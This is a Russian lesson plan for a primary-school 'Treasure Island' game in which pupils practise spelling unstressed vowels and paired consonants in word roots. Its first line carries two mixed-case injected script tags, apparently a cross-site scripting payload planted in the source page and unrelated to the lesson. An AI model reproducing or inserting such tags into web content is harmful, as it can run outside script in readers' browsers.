<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

19.03.2018

Тема: Внеклассное мероприятие «Увлекательное путешествие на остров Сокровищ»

Цели: закрепить правило правописание безударной гласной, парной согласной в корне слова; способствовать развитию познавательной активности учащихся; прививать интерес к предмету; развивать навыки сотрудничества; содействовать формированию нравственных качеств: дружбы, взаимопонимания, коллективизма; содействовать установлению благоприятного психологического климата внутри коллектива.

Наглядность и оборудование: ИКТ, звуки «Шторм моря», «Шум моря, крик чаек»; фишки-рыбки для отслеживания работы учащихся, ручки, листы.

Ход мероприятия.

1. Орг. момент. Слайд № 1.

- Друзья мои! Сокровища во все времена привлекали людей. Мы тоже отправимся на остров за кладом. А поплывём на этом корабле. Но прежде ,чем отправиться в путешествие , давайте мы скажем друг другу добрые пожелания ,передав штурвал.

Слайд № 2.

- Сегодня мы совершим мысленное путешествие на остров Сокровищ. Клад лежит в сундуке и закрыт на замок. Наша цель: преодолеть все преграды, доплыть до острова и получить сундук с сокровищами. Слайд № 3.

2. Условия игры.

- На команды делиться не будем, так как дружно и вместе отправимся в путешествие. Играть будем против команды пиратов, поплывём на разных кораблях. Слайд № 4.

Прежде чем отправиться в увлекательное путешествие, необходимо подготовить команду и корабль. Сейчас вам предоставляется время для выбора капитана. Не забывайте, что капитан должен быть умным, смелым, решительным. В трудную минуту именно капитанское слово будет решающим для вашей команды (команда называет капитана).

Капитан, вам необходимо настроить команду на работу. Ведь вы, ребята, коллектив. Одно целое. А вместе – сила. Вместе и сообща мы можем преодолеть все препятствия в пути и благополучно вернуться домой.

За правильное и быстрое выполнение заданий получаете фишку-рыбку.

Фишки будут в вашей общей копилке, так как вы вместе отправляетесь на остров. Чем больше наберёте фишек, тем благополучнее пройдёт ваше путешествие. В конце путешествия мы подсчитаем все фишки и узнаем, помогла ли вам взаимопомощь, дружба, ну и, конечно, ваши знания.

- Итак, знакомьтесь! Слайд № 5.

3 Этапы игры.

• Испытание «Пузыри» Итак, знакомьтесь! Слайды № 7,8,9.

- В каком пузыре все слова пишутся с буквой «А»?

1. Пузырь: овёс, Москва, орех, обед.

2. Пузырь: спасибо, картина, квартира, трамвай.

Пузырь: пальто, хорошо, одежда, платок.

• Испытание «На воздушном шаре» Слайд № 12,13,14,15 .

- Определите, в какой круг должны опуститься пираты.

Буквы «А» и «О».

1. Круг: старик, наградить.

2. Дворовый, звонить.

Слайд № 14,15 .

Буквы «С» и «З».

1 Круг: лесник, просьба.

2. Круг: сказка, замазка.

- Очнулись пираты. Следующее испытание.

- Посмотрим, что же замышляют пираты?! Слайды № 16, 17 .

• Испытание «Ребусы» Слайды № 18, 19,20 .

• Испытание «Шторм». Слайд № 21,22,23,24 .

Слова: гора, ракета, банан, тарелка, каша, шары, рыба.

- Каково было пиратам? Слайд № 25

- А чтобы нас в пути больше не настигал шторм, светило в пути яркое солнышко, выполним физкультминутку.

- Как спокойно на море. Светит яркое солнышко, кричат чайки.

- Понаблюдайте за лучиками солнышка.

• Физ. минутка «Солнышко» Слайд № 26.

• Испытание «Ловушка». Слайд № 27, 28,29.

- Назовите одним словом. Подберите проверочное слово. Листы, ручки.

- Если пил ты чай с медком, c ней ты хорошо знаком. (Пчела – пчёлы.)

- Горка снега. (Сугроб – сугробы.)

Проверка. Слайд № 30,31.

- Приближаемся к цели. На горизонте остров! Пираты забеспокоились, если не выполнят задание, не получат клад. Слайд № 32, 33.

- Самое время капитану показать себя. Последнее, решающее задание, так как вы уже у цели.

• Испытание «Вспомни – запиши». Слайд № 34,35

Переживания пиратов (пытаются подсмотреть) Слайд № 36.

- На опушке две старушки

Нашли груздь и две волнушки. (Капитан выполняет задание у доски).

1. Прочитайте.

2. Запомните.

3. Запишите по памяти.

4. Проверьте. Слайд № 37

- Вот мы и у цели! Слайд № 38,39.

- Подсчитайте свои фишки. Удастся ли вам открыть сундук? Слайд № 40.

Осталось одно испытание .

На рисунках указана цифра, какую букву нужно взять из этого слова.

4. Подведение итогов.

- Молодцы, ребята, в путешествии вы проявили находчивость, смекалку и сплочённость.

Сокровища ваши! Ваша находчивость, дружба, помогли добраться до острова Сокровищ и получить сундук с драгоценностями. Скажите, ребята, а помогли ли вам в этом путешествии ваши драгоценные знания? Ведь, знания – это тоже сокровища. Да, вашей команде удалось справиться с таким нелёгким, но увлекательным путешествием и одержать победу над пиратами. Оставайтесь же такими любознательными, дружными.

Слайд № 41.

До скорых встреч. Всем спасибо!